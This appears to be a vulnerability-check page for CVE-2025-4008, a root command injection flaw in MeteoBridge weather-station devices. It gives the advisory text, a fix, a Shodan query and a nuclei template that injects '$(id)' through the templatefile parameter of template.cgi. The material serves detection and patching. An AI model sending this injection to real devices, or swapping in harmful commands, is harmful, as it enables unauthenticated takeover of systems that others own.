MeteoBridge <= 6.1 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2025-10-02; known to be used by ransomware.

highseverity

7.5CVSS score

93.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

The Meteobridge web interface let meteobridge administrator manage their weather station data collection and administer their meteobridge system through a web application written in CGI shell scripts and C.This web interface exposes an endpoint that is vulnerable to command injection.Remote unauthenticated attackers can gain arbitrary command execution with elevated privileges ( root ) on affected devices.

Impact

Unauthenticated attackers can execute arbitrary operating system commands with root privileges through the templatefile parameter, achieving complete device compromise.

Fix

Upgrade MeteoBridge to version 6.2 or later that properly sanitizes input in template.cgi.

How to confirm it

Send: GET /public/template.cgi?templatefile=$(id)
Positive when: contains "Error: template file" and "uid=" and "gid=" AND status 200

Run it with nuclei: nuclei -id CVE-2025-4008 -u <target>

The full check

id: CVE-2025-4008

info:
  name: MeteoBridge <= 6.1 - Remote Code Execution
  author: iamnoooob,pdresearch
  severity: high
  description: |
    The Meteobridge web interface let meteobridge administrator manage their weather station data collection and administer their meteobridge system through a web application written in CGI shell scripts and C.This web interface exposes an endpoint that is vulnerable to command injection.Remote unauthenticated attackers can gain arbitrary command execution with elevated privileges ( root ) on affected devices.
  impact: |
    Unauthenticated attackers can execute arbitrary operating system commands with root privileges through the templatefile parameter, achieving complete device compromise.
  remediation: |
    Upgrade MeteoBridge to version 6.2 or later that properly sanitizes input in template.cgi.
  reference:
    - https://forum.meteohub.de/viewtopic.php?t=18687
    - https://www.onekey.com/resource/security-advisory-remote-command-execution-on-smartbedded-meteobridge-cve-2025-4008
    - https://nvd.nist.gov/vuln/detail/CVE-2025-4008
  classification:
    cve-id: CVE-2025-4008
    cvss-score: 7.5
    cwe-id: CWE-77
    epss-score: 0.93437
    epss-percentile: 0.9984
  metadata:
    verified: true
    shodan-query: "meteobridge"
    fofa-query: "Meteobridge"
  tags: cve,cve2025,meteobridge,rce,kev,vkev,vuln

http:
  - raw:
      - |
        GET /public/template.cgi?templatefile=$(id) HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Error: template file'
          - 'uid='
          - 'gid='
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from